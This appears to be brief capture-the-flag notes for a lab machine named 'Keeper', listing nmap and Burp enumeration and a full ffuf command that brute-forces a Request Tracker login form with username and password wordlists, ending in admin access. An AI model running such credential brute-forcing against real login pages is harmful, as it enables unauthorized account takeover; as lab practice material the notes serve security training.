Keeper
Enumeration
nmap add hosts Burp suite capture request
ffuf -u http://tickets.keeper.htb/rt/NoAuth/Login.html -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "user=FUZZ&pass=FUZ2&next=c6eafa6a0bd722fb0f34be4d12f2b529" -w ../../../common-username/user.txt:FUZZ -w ../../../common-username/pass.txt:FUZ2 -fr "incorrect"
Login admin